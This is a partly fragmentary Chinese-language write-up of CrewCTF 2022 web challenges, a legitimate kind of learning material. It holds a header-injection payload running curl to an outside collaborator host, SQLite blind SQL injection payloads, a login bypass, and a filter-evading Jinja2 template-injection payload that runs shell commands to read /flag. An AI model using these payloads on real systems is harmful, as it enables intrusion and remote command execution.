crewctf2022
crewctf2022
难度适中的一场比赛 很好!
web
CuaaS
1 |
|
我们能操控的只有这个data
我们想要影响 header 只有去 搞这个 $uncleanedURL
能不能拓展一下
类似 想一下怎么换行就ok
1 | http://www.baidu.com?name=123&password=666\r\nX-Visited-Before: system('ls'); |
查了下 貌似要用数组才行
不知道单纯的换行行不行
trytry
1 | POST / HTTP/1.0 |
1 |
|
要请求头有 X-Visited-Before
我们要想办法在哪自定义一个请求头
1 | http://www.baidu.com?name=123\r\nX-Visited-Before: `ls`; |
不知道为什么打不通 emmm
payload
1 | http://www.baidu.com?name=123\r\nX-Visited-Before: system('curl https://t4ye9w6naqyv5q8750a2aimw1n7dv2.burpcollaborator.net'); |
最后还要绕一个 disable fuction 我是zz
Marvel Pick
Pick your favorite character in marvel
EU mirror: http://104.155.50.189:1337
US mirrror: http://34.148.209.88:1337
Asia mirror: http://34.126.83.114:1337
Author : st4rn#0086
1 | const marvel = [ |
感觉只有一个点有搞头 /api.php
这是搞了个文件?
1 | POST /api.php |
先考虑一下是否存在 sql注入?这种通过上传文件来进行数据库查询 感觉很奇怪
之前那种技术好像 就是两个文件拼接来绕过 但是不知道能起的到什么特殊作用
在查询的时候整了点报错出来
1 | <b>Fatal error</b>: Uncaught PDOException: SQLSTATE[HY000]: General error: 1 near "11": syntax error in /var/www/api.php:75 |
继续试一下sql注入
单引号会直接导致报错
1 | select * from characters where name = 'ironman'; |
1 | select * from characters where name = 'ironman' Or 1='1'; |
1 | select |
"
没被过滤 而是被转义
未被过滤
1 |
1 | select * from characters where name = 'ironman' Or '1'='1'; |
现在如何判断数据库?是主要问题
我们尝试了 select database()
但是会报错
尝试了 select sqlite_version()
成功了 看来数据库是sqlite
1 | /api.php?character=ironman' And (SELECT sql FROM sqlite_schema) And'1 |
接下来就是考虑一下怎么判断
可以使用时间盲注
1 | /api.php?character=captainamerica' Or (cAse When(Substr(sqlite_version(),1,1)>'100') Then raNdomblob(200000) Else 0 eNd) And'1 |
大概5s
布尔注入也可以
1 | payload = "captainamerica' And (Substr((Select group_concat(sql) from sqlite_master),1,1)<'d') aNd '1" |
然后写脚本二分就行了
UploadZ
给了 .htaccess 文件
1 | <IfModule mod_rewrite.c> |
给了php代码
1 |
|
EZchall
很明显 就是去绕 ssti
1 | render_template_string(payload) |
1 | import string |
登录这里需要绕过一下
1 |
|
绕过方式
1 | cGFzcyBpcyBhZG1pbiA/Pw== --> cGFzcyBpcyBhZG1pbiA/Px== |
可能是最后一位不重要吧
ssti 的绕过很简单
["__ba" "se__"]
就可以绕过
但是他这里很明显不想让你去 curl
所以我们尝试把flag写到某个地方 比如session中
payload
{%if session.update({'f':cycler['__in' 'it__']['__glo' 'bals__']['os']['popen']('tac /flag')['re' 'ad']()}{%endif%}